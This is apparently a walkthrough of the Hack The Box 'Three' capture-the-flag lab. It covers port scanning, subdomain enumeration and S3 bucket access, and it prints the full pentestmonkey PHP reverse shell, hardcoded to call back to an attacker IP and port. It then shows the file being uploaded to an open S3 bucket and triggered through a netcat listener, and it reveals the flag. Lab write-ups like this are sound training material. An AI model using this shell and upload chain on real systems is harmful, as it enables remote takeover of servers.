# Three

{% file src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FTp2T2PUH7ep30cMrBpBc%2FThree_Walk_Thru.pdf?alt=media&token=39b1a048-130e-480e-addf-7e7238b397d1" %}

**Task 1**

How many TCP ports are open?

**Answer:**

* Ran command `nmap [IP]`
*

    <figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FxPsj1WT1EIWuKxcjJeLJ%2Fimage.png?alt=media&#x26;token=cbde5655-7f51-4c8f-90dc-dc339218e9f3" alt=""><figcaption></figcaption></figure>
* The answer is 2 TCP ports are open.  Port 22 and 80

**Task 2**

What is the domain of the email address provided in the "Contact" section of the website?

**Answer:**

* Go to the URL from the IP given.
* Go to the contact link.
* The answer is the domain listed in the email address.
* thetoppers.htb

**Task 3**

In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?

**Answer:**

* The answer to this on a Linux machine is `/etc/hosts`

**Task 4**

Which sub-domain is discovered during further enumeration?

**Answer:**

* Run the following command to discover another subdomain:

```
gobuster vhost -u http://thetoppers.htb/# -w /usr/share/dirb/wordlists/common.txt
```

* This will give you the answer of `s3.thetoppers.htb`

**Task 5**

Which service is running on the discovered sub-domain?

**Answer:**

* Run a quick google search on "s3 subdomain status running"
* The first search result should show `amazon s3` as the active service.

**Task 6**

Which command line utility can be used to interact with the service running on the discovered sub-domain?

**Answer:**

* Quick google search for "cli utility to utilize s3".
* Result points towards `awscli`

**Task 7**

Which command is used to set up the AWS CLI installation?

**Answer:**

* Check google for awscli configuration
* Go to the documents page: [https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html)
* The answer is `aws configure`

**Task 8**

What is the command used by the above utility to list all of the S3 buckets?

**Answer:**

* Checking on the same documentation page is found the command to list the buckets: `aws s3 ls`

**Task 9**

This server is configured to run files written in what web scripting language?

**Answer:**

* Check wappalyzer and it will tell you php

**Submit Flag:**

* First was to add s3.thetoppers.htb to `/etc/hosts`
* Configure aws: `aws configure`
  * Set all values to "temp"
* I have a reverse shell php script:

```
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.201';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 


```

* I changed the IP and PORT in the lines above to match what I wanted it to connect back to.
* Next is to upload the reverse shell to the s3 bucket

```
aws --endpoint=http://s3.thetoppers.htb s3 cp reverse_shell.php s3://thetoppers.htb
```

* Open a netcat listener

```
nc -lvnp 4444
```

* Navigate to the URL: `http://thetoppers.htb/reverse_shell.php`
* It should hold up while it connects back to your netcat listener
* Go back to your netcat listener and you should have a reverse shell into the bucket.
* Navigate to /var/www/flag.txt
  * You may have to wait a while as the flag file did not pop up immediately for me.
* The flag is `a980d99281a28d638ac68b9bf9453c2b`
